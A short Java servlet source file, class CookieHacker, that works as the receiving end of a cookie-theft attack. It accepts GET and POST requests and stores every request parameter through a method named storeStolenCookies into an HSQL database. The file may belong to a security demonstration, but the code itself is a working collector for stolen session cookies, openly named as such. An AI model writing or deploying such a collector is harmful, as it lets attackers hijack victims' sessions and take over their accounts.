package com.ericsson.web;

import java.io.IOException;
import java.util.Map;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import com.ericsson.web.core.HSQLDatabase;
import com.ericsson.web.core.IDatabase;

public class CookieHacker extends HttpServlet {

	@Override
	protected void doGet(HttpServletRequest request, 
			HttpServletResponse response) 
	throws ServletException, IOException {
		storeStolenCookies(request.getParameterMap());
	}
	
	@Override
	protected void doPost(HttpServletRequest request, 
			HttpServletResponse response) 
	throws ServletException, IOException {
		doGet(request, response);
	}
	
	private void storeStolenCookies(Map cookies) {
		IDatabase database  = HSQLDatabase.getInstance();
		database.saveCookies(cookies);
	}
}
